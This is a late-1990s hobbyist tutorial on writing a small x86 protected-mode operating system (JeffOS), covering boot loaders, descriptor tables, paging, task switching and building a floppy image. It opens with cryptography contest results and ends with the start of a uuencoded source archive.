In fact several names have been suggested. However, I have no idea yet what I
want to call it, mostly because it just isn't solidified enough for a name.
When its all said and done, I do hope I can come up with something better than
JeffOS. For now, getting a real working kernel is more important than a real
working name.
I hope that you find the following information interesting, and worth
investigating further.
Cheers,
Jeff Thompson
AKA Mythrandir
PS: Some words on the Cryptography article. First a thank you for all of the
letters that I received on the article. I am happy to find that many people
found the article interesting. For several people it rekindled an old interest
which is always great to hear. However, for several people I have unfortunate
news as well. The next article in the series will have to be postponed for
a few issues until I complete this operating system. As is with many people,
I have been caught by a new bug (The OS bug) and have set myself up to be
committed to the work for some time. I am of course still interested in
discussing the topic with others and look forward to more email on the subject.
The winners of the decryption contest were:
1st message:
1st) Chaos at chaos@vector.nevtron.si
2nd) Oxygen at oxygen@james.kalifornia.com
Solution:
The baron's army will attack at dawn. Ready the Templar knights and strike his
castle while we hold him.
2nd message:
1st) Chaos
Solution:
MULTICAST PROTOCOLS HAVE BEEN DEVELOPED TO SUPPORT GROUP COMMUNICATIONS
THESE PROTOCOLS USE A ONE TO MANY PARADIGM FOR TRANSMISSION TYPICALLY
USING CLASS D INTERNET PROTOCOL ADDRESSES TO SPECIFY SPECIFIC MULTICAST GROUPS
Also, there is one typo in my article. The book which was written without the
letter 'e' was not The Great Gatsby, but rather Gadsby. Thanks to Andy
Magnusson for pointing that out.
Great job guys!
----[ Acknowledgements
I owe a certain debt to two people who have been available to me during my
development work. Both have done quite a bit of work developing their own
protected mode operating systems. I would like to thank Paul Swanson of the
ACM@UIUC chapter for helping solve several bugs and for giving me general tips
on issues I encountered. I would also like to thank Brian Swetland of
Neoglyphics for giving me a glimpse of his operating system. He was also nice
enough to allow me to steal some of his source code for my use. This source
include the console io routines which saved me a great deal of time. Also,
the i386 functions were given to me by Paul Swanson which has made a lot of
the common protected mode instructions easily useable.
Following new releases and information on this operating systems work, I am
currently redoing my web site and will have it up by Feb 1, 1998. I will be
including this entire article on that site along with all updates to the
operating system as I work on it. One of the first things that I will be
doing is rewriting all of the kernel. A large part of what is contained
within these pages was a learning experience. Unfortunately, one consequence
of trying to get this thing done was it becoming fairly messy and hackish. I
would like to clean it up and begin to build upon it. Having a good code base
will be invaluable to this. So please watch for the next, and future releases
of this code and feel free to contact me with any feedback or questions. I
will do my best to help. I won't be able to answer every question but I will
certainly try. Also, please be patient as I have a very busy schedule outside
of this project and am often times caught up by it.
I can be reached at:
jwthomp@cu-online.com
and my web site is at:
http://www.cu-online.com/~jwthomp/ (Up Feb 1, 1998)
----[ Introduction
Throughout this document I assume a certain level of knowledge on the part of
the reader. This knowledge includes c and assembly language programming, and
x86 architecture.
The development requirements for the GuildOS operating system are:
An ELF compiler
I used the gnu ELF compiler which comes with linux. It is possible to use
other ELF cross compilers on other systems as well.
a386 assembler
This can be obtained from:
Eric Isaacson
416 E. University Ave.
Bloomington IN 47401-4739
71333.3154@compuserve.com
or call 1-812-335-1611
A86+D86+A386+D386 is $80
Printed manual $10
This is a really nice assembler. Buy a copy. I did.
It is also possible to convert the boot loader assembly code to another
assembler.
A 486+ machine
You must have a machine to test the OS on.
Great books to read to gain an understanding of the various topics presented
in the following pages are:
Protected Mode Software Architecture by Tom Shanley from MindShare, Inc.
ISBN 0-201-55447-X $29.95 US
This book covers the protected mode architecture of the x86. It also explains
the differences between real mode and protected mode programming. This book
contains much of the information which is in the Intel Operating Systems
Developers guide, but also explains things much more in depth.
Developing Your Own 32-Bit Operating System by Richard A. Burgess from SAMS
Publishing. ISBN 0-672-30655-7
This book covers the development of a complete 32-bit OS. The author also
creates his own 32-bit assembler and compiler. Considerable portions of the
code are written in asm, but there is still quite a bit in C.
The entire Intel architecture series and their OS developers guides which are
available from their web site for free.
----[ Chapter 1 - Booting into protected mode
The first step in setting up an operating system on the x86 architecture is to
switch the machine into protected mode. Protected mode allows you to use
hardware protection schemes to provide operating system level security.
The first component which I began working on was the first stage boot loader
which is located in "JeffOS/loader/first/".
The first stage boot loader is placed on the first sector of the floppy. Each
sector is 512 bytes. This is not a lot of room to write all of the code
required to boot into protected mode the way I would like to so I had to break
the boot loader into two parts. Thus the first and second stage floppy loader.
After the Power On Self-Test (POST) test this first sector is loaded up into
memory location 0000:7C00. I designed the first stage of the floppy boot
loader to load up all of the files into memory to be executed. The first
instruction in the boot loader jumps to the boot code. However, between the
jump and the boot code are some data structures.
The first section is the disk parameters. I'm not currently using any of this
information but will in future versions. The next set of structures contain
information on the other data files on the floppy disk. Each structure looks
like this in assembly:
APCX DW 0000h ; Specifies CX value for INT 13h BIOS routine
APDX DW 0000h ; DX
APES DW 0000h ; ES
APBX DW 0000h ; BX
APSZ DB 0h ; Specifies number of sectors to read in
APSZ2 DB 0h ; Unused
There are four copies of this structure (APxx, BPxx, CPxx, DPxx).
The INT 13h BIOS call has the following arguments:
ch: Cylinder number to start reading from.
cl: Sector number to start at.
dh: Head number of drive to read from (00h or 01h for 1.44M floppy disk drives)
dl: Drive number (00h for Disk A)
es: Segment to store the read in sectors at.
bx: Offset into the segment to read the sectors into.
ah: Number of sectors to read in.
al: Function number for INT 13h. (02h is to read in from the disk)
I use the APxx to load the second stage boot loader. BPxx is being used
to load the first stage kernel loader. CPxx is used to load a simple user
program. Finally, DPxx is used to load the kernel in.
Following the loader structures are two unused bytes which are used to store
temporary data. SIZE is used but SIZE2 is not currently used.
The boot code follows these structures. This boot code relocates itself into
another section of memory (9000:0000 or 90000h linear). Once relocated, it
loads all of the files into memory and then jumps into the beginning of the
second stage boot loader.
The first part of the second stage boot loader contains a macro which is used
to easily define a Global Descriptor Table (GDT) entry. In protected mode the
GDT is used to store information on selectors. A selector in protected mode
is referred to by a number stored in any of the segment registers. A selector
has the following format:
Bits Use
15 - 3 Descriptor Table Index
2 Table Indicator
1 - 0 The Requestor Privilege Level
The Descriptor Table Index or (DT) is an index into the GDT. The first entry
in the GDT is 00h, the second is 08h, then 10h, etc.. The reason that the
entries progress in this manner is because the 3 least significant bits are
used for other information. So to find the index into the GDT you do a
segment & 0xfff8 (DT = Selector & 0xfff8).
The Table Indicator selects whether you are using a GDT or a Local Descriptor
Table (LDT). I have not yet had a reason to use LDT's so I will leave this
information to your own research for now.
Finally, the Requestor Privilege Level is used to tell the processor what
level of access you would like to have to the selector.
0 = OS
1 = OS (but less privileged than 0)
2 = OS (but less privileged than 1)
3 = User level
Typically levels 0 and 3 are the only ones used in modern operating systems.
The GDT entries which describe various types of segments have the following
form:
63 - 56 Upper Byte of Base Address
55 Granularity Bit
54 Default Bit
53 0
52 Available for Use (free bit)
51 - 48 Upper Digit of Limit
47 Segment Present Bit
46 - 45 Descriptor Privilege Level
44 System Bit
43 Data/Code Bit
42 Conforming Bit
41 Readable bit
40 Accessed bit
39 - 32 Third Byte of Base Address
31 - 24 Second Byte of Base Address
23 - 16 First Byte of Base Address
15 - 8 Second Byte of Limit
7 - 0 First Byte of Limit
The base address is the starting location of the segment descriptor (for code
or data segments). The limit is the number of bytes or 4k pages. Whether it
is bytes or 4k pages depends on the setting of the granularity but. If the
granularity bit is set to 0 then the limit specifies the length in bytes. If
it is set to 1 then the limit specifies the length of the segment in 4k pages.
The default bit specifies whether the code segment is 32bit or 16bit. If it is
set to 0 then it is 16bit. If it is set to 1 then it is 32bit.
The present bit is set to one if the segment is currently in memory. This is
used for virtual paging.
The descriptor privilege level is similar to the RPL. The DPL simply states at
what protection level the segment exists at. The values are the same as for
the RPL.
The system bit is used to specify whether the segment contains a system segment.
It is set to 0 if it is a system(OS) segment.
The data/code bit is used to specify whether the segment is to be used as a
code segment or as a data segment. A code segment is used to execute code
from and is not writable. A data segment is used for stacks and program
data. It's format is slightly different from the code segment depicted above.
The readable bit is used to specify whether information can be read from the
segment or whether it is execute only.
The next part of the second stage floppy boot loader contains the code which
is used to enable the A20 address line. This address line allows you to
access beyond the 1MB limit that was imposed on normal DOS real mode
operation. For a discussion of this address line I recommend looking at the
Intel architecture books.
Once enabled the GDT that exists as data at the end of the assembly file is
loaded into the GDT register. This must be done before the switch into
protected mode. Other wise any memory accesses will not have a valid selector
described for them and will cause a fault (I learned this from experience).
Once this is completed the move is made to protected mode by setting the
protected mode bit in the CR0 register to 1.
Following the code which enables protected mode, there is data which represents
a far call into the next portion of the second stage boot loader. This causes
a new selector to be used for CS as opposed to an undefined one.
The code that is jumped into simply sets up the various selectors for the data
segments.
There is then some simple debugging code which prints to the screen. This was
used for myself and can be removed.
The stack segment is then set up along with the stack pointer. I placed the
stack at 90000h.
Finally I push the value for the stack onto the stack (to be retrieved by the
kernel) and then call linear address 100080h which contains the first stage
loader for the kernel.
----[ Chapter 2 - The first stage kernel boot loader
The first stage kernel boot loader is located in \boot.
First some notes on what is happening with the first stage boot loader. The
boot loader is compiled to ELF at a set TEXT address so that I can jump into
the code and have it execute for me. In the makefile I specify the text
address to be 10080. The first 80h bytes are used as the ELF header. I
completely ignore this information and jump directly into linear memory
address 10080h. It is my understanding that newer versions of the ELF compiler
have a slightly different header length and may cause this number to need to be
modified. This can be determined by using a dissasembler (i.e. DEBUG in DOS)
to determine where the text segment is beginning.
The two files of importance to the boot loader are main.c and mem.c.
main.c contains the function `void _start(unsigned long blh);`. This function
must be the first function linked in. So main.c must be the first file which
is linked and _start() must be the first function in it. This guarantees that
start will be at 10080h. The parameter blh is the value which was pushed in
by the second stage boot loader. This originally had meaning, but no longer
does.
The first thing that _start does is to call kinit_MemMgmt which is the
initialization routine for memory.
The first thing that kinit_MemMgmt does is set nMemMax to 0xfffff. This is
the maximum number of bytes on the system. This value is 1MB. kinit_MemMgmt
then calls kmemcount which attempts to calculate the amount of free memory on
the system. Currently this routine does not work properly and assumes that
there is 2MB of free memory on the system. This is sufficient for now but
needs to be fixed in the future.
kinit_MemMgmt then calls kinit_page which sets of the page tables for the
kernel.
Paging is the mechanism used to define what memory a task is able to access.
This is done by creating a "virtual" memory space which the task accesses.
Whenever an access to memory occurs the processor looks into the page tables
to determine what "real" physical memory is pointed to by this memory location.
For example, the kernel could designate that each task will get 32k (8 pages)
of memory to use for the stack. Without using paged memory each of these
memory locations would occur at a different address. However, by using paging
you can map each of these physical memory allocations to a paged address
which allows each of these allocations to appear to occur at the same location.
The page tables are broken up in the following manner. First is the page
directory. It is composed of 1024 entries which have the following properties:
31 - 12 Page Table Base Address
11 - 9 Unused (Free bits)
8 0
7 Page Size Bit
6 0
5 Accessed Bit
4 Page Cache Disable Bit
3 Page Write Through Bit
2 User/Supervisor Bit
1 Read/Write Bit
0 Page Present Bit
The Page Table Base address is an index to the page table which contains
information about this memory location. When a memory location is accessed
the most significant 10 bits are used to reference one of the 1024 entries in
the page directory. This entry will point to a page table which has a physical
memory address equal to the Page Table Base Address. This table is then
referenced to one of its 1024 entries by the 21 - 12 bits of the memory
address.
The Page Size Bit tells whether each page is equal to (Bit = 0) 4kb or
(Bit = 1) 4MB.
The accessed bit is used to show whether the page has ever been accessed. Once
set to 1, the OS must reset it to 0. This is used for virtual paging.
The Page Cache Disable Bit and Page Write Bit are not currently used by me, so
I will leave its definition as an exercise to the reader (enjoy).
The User/Supervisor Bit specifies whether access to the page table is
restricted to access by tasks with privilege level 0,1,2 or 3. If the bit is
set to 0 then only tasks with level 0, 1, or 2 can access this page table. If
the bit is set to 1, then tasks with level 0, 1, 2, or 3 can access this page
table.
The Read/Write bit is used to specify whether a user level task can write to
this page table. If it is set to 0 then it is read only to "User" tasks. If
it is set to 1 then it is read/writable by all tasks.
Finally, the Present Bit is used to specify whether the page table is present
in memory. If this is set to 1 then it is.
Once the page directory is referenced, the offset into the page table is
selected. Using the next 10 bits of the memory reference. Each page table
has 1024 entries with each entry having the following structure:
31 - 12 Page Base Address
11 - 9 Unused (Free bits)
8 - 7 0
6 Dirty Bit
5 Accessed Bit
4 Page Cache Disable Bit
3 Page Write Through Bit
2 User/Supervisor Bit
1 Read/Write Bit
0 Page Present Bit
The Page Base Address points to the upper 20 bits in physical memory where
the memory access points to. The lower 12 bits are taken from the original
linear memory access.
The Dirty, Accessed, Page Cache, and Page Write Through Bits are all used for
virtual memory and other areas which I have not yet been concerned yet. So
they are relegated to the reader (for now).
The remaining three bits behave just as in the page directory except that
they apply to the physical memory page as opposed to a page table. All
kernel pages are set to have Supervisor, Read/Write, and Page Present bits
set. User pages do not have the supervisor bits set.
The code in kinit_page creates the page directory in the first of the three
physical pages that it set aside. The next page is used to create a low (user)
memory area of 4MB (One page table of 1024 entries points to 1024 4kb pages,
Thus 4MB). The third page is used to point to high (OS) memory.
The kinit_page function sets all of the low page memory equal to physical
memory. This means that there is a one to one correlation for the first 4MB
of memory to paged memory. kinit_page then maps in ten pages starting at
70000h linear into 0x80000000. Entry number 0 of the page directory is then
set to point to the low page table. Entry number 512 is set to point to the
high page table.
Finally the kinit_page function places the address of the page directory
into the cr3 register. This tells the processor where to look for the page
tables. Finally, cr0 has its paging bit turned on which informs the processor
that memory accesses should go through the page table rather than just being
direct physical memory accesses.
After this the _start function is returned into and k_start() has been set to
0x80000080 which points to the _start() function in the main kernel.
_start in the boot code calls this function which starts the real kernel off.
----[ Chapter 3 - The Kernel
The kernel is where all of the fun begins. Unfortunately, this is the place
that needs the most work. However, there is enough here to demonstrate the
beginnings of what needs to be done to build a viable kernel for your own work.
The kernel boot loader created the kernel page table and then jumped into the
kernel at _start(); _start() then sets up the console, clears it, and displays
the message "Main kernel loaded.". Once this is done it runs the memory
manager initialization routine 'kinit_page()'.
The memory manager initialization routine begins by initializing a structure
called the PMAT. The PMAT is a giant bit field (2048 bytes), where each bit
represents one page of physical memory. If a bit is set to 1, the
corresponding page of memory is considered allocated. If the bit is set to 0
then it is considered unallocated. Once this array is initialized the memory
management code sets aside the chunks of physical memory which are already in
use. This include the system BUS memory areas, as well as the location of the
kernel itself in physical memory. Once this is completed the memory manager
returns to the _start() function so that it can proceed with kernel
initialization.
The _start() function then calls a temporary function which I am using now to
allocate memory which is use by the user program loading in by the first
stage floppy loader. This will go away after I add the loading of processes
off of disk during run time. This function sets aside the physical memory
which is located at 20000h linear.
Now that the basic memory system is set up the _start() function calls the
kinit_task() function. kinit_task() sets up the kernel task so that it can
run as a task rather than as a the only process on the system.
kinit_task() is really a shell function which calls two other functions:
kinit_gdt() and kinit_ktask(); kinit_gdt() initializes a new kernel GDT which
is to be used by the kernel rather than the previous temporary one which was
set up by the second stage floppy boot loader. Once the new location for the
gdt is mapped into memory several selectors are added to it. Kernel Code and
Data selectors are added. Also, User Code and Data selectors are added. Once
these selectors are put into place, the new gdt is placed in the gdt register
on the processor so that it can be used.
kinit_task() now calls the kinit_ktask() function. This task creates a task
which the kernel code will be executed as. The first thing this function does
is to clear out the kernels task list. This list contains a list of tasks
on the system. Next a 4k page is allocated for the kernel task segment. The
current executing task is then set to the kernel task. Next the task segment
is added to the GDT. This task segment has the following structure and is
filled out for the kernel with the following values by me. In fact all tasks
will start out with these settings.
struct TSS {
ushort link; // set to 0
ushort unused0;
ulong esp0; // set to the end of the task segment page
ushort ss0; // set to SEL_KDATA (Kernel Data segment)
ushort unused1;
ulong esp1; // set to 0
ushort ss1; // set to 0
ushort unused2;
ulong esp2; // set to 0
ushort ss2; // set to 0
ushort unused3;
ulong cr3; // set to the physical address of this tasks page
// tables
ulong eip; // set to the entry point to this tasks code
ulong eflags; // set to 0x4202
ulong eax, ecx, edx, ebx, esp, ebp, esi, edi; // set to garbage values
ushort es; // set to SEL_KDATA (Kernel data segment)
ushort unused4;
ushort cs; // set to SEL_KCODE (Kernel code segment)
ushort unused5;
ushort ss; // set to SEL_KDATA
ushort unused6;
ushort ds; // set to SEL_KDATA
ushort unused7;
ushort fs; // set to SEL_KDATA
ushort unused8;
ushort gs; // set to SEL_KDATA
ushort unused9;
ushort ldt; // set to 0
ushort unused10;
ushort debugtrap; // set to 0
ushort iomapbase; // set to 0
};
The link field is used by the processor when an interrupt is called. The
processor places a pointer to the task segment which was running prior to the
interrupt. This is useful for determining access rights based on the calling
process.
The espx and ssx parameters are used to store a pointer to a stack which will
be used when a task with a lower privilege level tries to access a high level
privilege area.
The cr3 parameter is used to store a pointer to the physical address of this
tasks page table. Whenever this task is switched to, the processor will load
the value stored in cr3 into the cr3 register. This means that each task can
have a unique set of page tables and mappings.
The eax, ebx, etc.. registers are all set to a garbage value as they are
uninitialized and will only gain values once they are used. When the processor
switches to this task these parameters will be loaded into their respective
processor registers.
The cs, es, ss, ds, fs, and gs parameters are all set to meaningful values
which will be loaded into their respective processor registers when this
task is switched to.
As I am not using a local descriptor I set this parameter to 0 along with the
debugtrap and iomapbase parameters.
As I have mentioned every time a task is switched to the processor will load
all of the parameters from the task segment into their respective registers.
Likewise, when a task is switched out of, all of the registers will be stored
in their respective parameters. This allows tasks to be suspended and to
restart with the state they left off at.
Switching tasks will be discussed later when the point in the kernel where this
takes place at is reached.
Once this task state segment is created it is necessary to create an entry in
the GDT which points to this task segment. The format of this 64 bit entry is
as follows:
63 - 56 Fourth Byte of Base Address
55 Granularity Bit
54 - 53 0
52 Available for use (free bit)
51 - 48 Upper Nibble of Size
47 Present in Memory Bit
46 - 45 Descriptor Privilege Level
44 System Built
43 16/32 Bit
42 0
41 Busy Bit
40 1
39 - 32 Third Byte of Base Address
31 - 24 Second Byte of Base Address
23 - 16 First Byte of Base Address
15 - 8 Second Byte of Segment Size
7 - 0 First Byte of Segment Size
As you have probably noticed, this structure is very similar to the code
segment descriptor. The differences are the 16/32 bit, and the Busy Bit.
The 16/32 Bit specifies whether the task state segment is 16 bit or 32 bit.
We will only be using the 32 Bit task segment (Bit = 1). The 16 bit task state
segment was used for the 286 and was replaced by a 32 bit task state segment on
the 386+ processors.
The busy bit specifies whether the task is currently busy.
Once the kernel task is allocated, a new kernel stack is allocated and made
active. This allows the stack to be in a known and mapped in location which
uses the memory manager of the kernel.
The user tasks is then created in a similar fashion as the kernel task. In
this current implementation the user task is located at 0x20000. Its stack
is located at 0x2107c. Currently, this user task operates with OS level
privilege. I encountered some problems when changing its selectors to user
entries in the GDT. As soon as I fix this problem I will post a fix on my web
site. After the user task is created it is added to the task queue to be
switched to once the scheduler starts.
Now that the kernel task and a user task (though running with kernel privilege
level) have been created it is necessary to set up the interrupt tables. This
is done by a call to the kinit_idt() function.
kinit_idt() starts by setting all of the interrupts to point to a null
interrupt function. This means that for most interrupts a simple return
occurs. However, interrupt handlers for the timer as well as for one system
call. Also, interrupts are set up to handle the various exceptions. Once
this table is filled out the interrupt descriptor table (IDT) is loaded into
the idt register. The interrupts are then enabled to allow them to be called.
The timer interrupt handler is a simple function which calls a task switch
every time the hardware timer fires.
The system call (interrupt 22h) is called, the handler will print out on the
console the string which is pointed to be the eax register.
The exception handling routine will dump the task registers and then hang the
system. The jump.S file in JeffOS/kernel/ contains the assembly wrappers which
are called when an interrupt occurs. These wrapper functions then call the C
handler functions.
Now that the IDT is set up and interrupts are occurring task switches can occur.
These occur when the swtch() function is called in the task.c file. The
swtch() function locates the next task in its queue and does a call to the
selector address of the new task. This causes the processor to look up the
selector and switch to the new task.
You now have a very simple multi-tasking kernel.
----[ Chapter 4 - User level libraries
The user level libraries are fairly simplistic.
There are two files in this directory. The first is the crt0.c file.
This file contains one function which is the _start() function. This function
makes a call to main which will be defined in user code. This stub function
must always be linked in first as it will be jumped into by the kernel to
begin running the process.
The second file is the syscall.c file. This file contains one system call
function which is simply an interrupt 22. This interrupt calls the console
system call. eax is passed in as a pointer to a string which is printed to
the system console.
Both of these source files are compiled to objects and are used during the
linking phase of any user code.
----[ Chapter 5 - User code
The user code is stored in one file called test.c. This file is located in
the /user/ directory. All this code does is call the console system call
function provided by the library, wait a short amount of time, and call it
again in a non-terminating loop (good thing, as I don't handle task
termination yet).
The important thing to note is that when linking this user process is set to
have a text segment of 20000h linear. Also the crt0.o and syscall.o files are
linked in as well. crt0.o is linked in first to insure that its _start()
function is at 20080h so it will be jumped into by the kernel. In truth,
_start() is the real main as opposed to the main() everyone is used to dealing
with.
This code is the task which is created and run alongside the kernel, as
described in chapter 3.
----[ Chapter 6 - Creating a disk image out of the binaries
Once you have compiled all of the binaries and placed them into the build
directory you will need to create two more files before continuing. These
files are called STUFF.BIN and STUFF2.BIN. These files are simply containers
of empty space to cause alignment of other binaries. The floppy loader
expects the user program to be 1k in size. If the user program is not exactly
this size then STUFF2.BIN needs to be created and be of such a size that when
added to USER.BIN the size is 1024 bytes. Also, the floppy boot loader
expects the kernel boot loader to be 3.5k (3584 bytes) in size. STUFF.BIN
needs to be made of such length that when added to the size of the BOOT.BIN
(kernel boot loader) file the size will be 3584 bytes. In the future I will
try to automate this process, but for now this is simply how it must be done.
Once this is complete the shell program 'go' must be run. This will place all
of the binary files into one file called 'os.bin'. This file can then be
written to disk by one of the following two methods.
If you want to do it from linux you can do the following command:
dd if=os.bin of=/dev/fd0 (places os.bin directly onto the floppy disk)
or from DOS you can obtain the rawrite command and run it and follow its
directions.
----[ Conclusion
The kernel contained within is far from complete. However, it is a first step
towards creating a real protected mode operating system. It is also enough to
begin working with, or to refer to during you own work on a protected mode
operating system. Doing this work is simply both one of the most rewarding
things you will ever do, and one of the most frustrating. Many a night has
been spent at the local tavern telling war stories about this stuff. But in
the end, it has all been great fun.
I wish you all the best of luck!
Jeff Thompson
jwthomp@cu-online.com
http://www.cu-online.com/~jwthomp/
JeffOS.tgz.uue
begin 600 JeffOS.tgz
M'XL(`(-CQC0``^P\:W?:R)+Y"N?D/_3![J:G7!>SX:'?=?/ON1
MA=6-;JL$:]8/N
MZO^3EO=2_ZYOV3SX06:P0O]FO;Y"_U5CJV;6H==LU(U_,?W/!0_$8Q#TN"6M
M?\&'OFS]D+5ERKL?91EQE[4$JZK9II&[`U4S=-
M5$-=?6ZQXU.VUHB&]=^=LIWG^;7>X?/\\SQ(TH2^X].WS)A@PRZ(OHD/N:E_
MR0;+,MN>J(HU*8.MZ(I;9NOM=:@Y7@A!PB2:8\&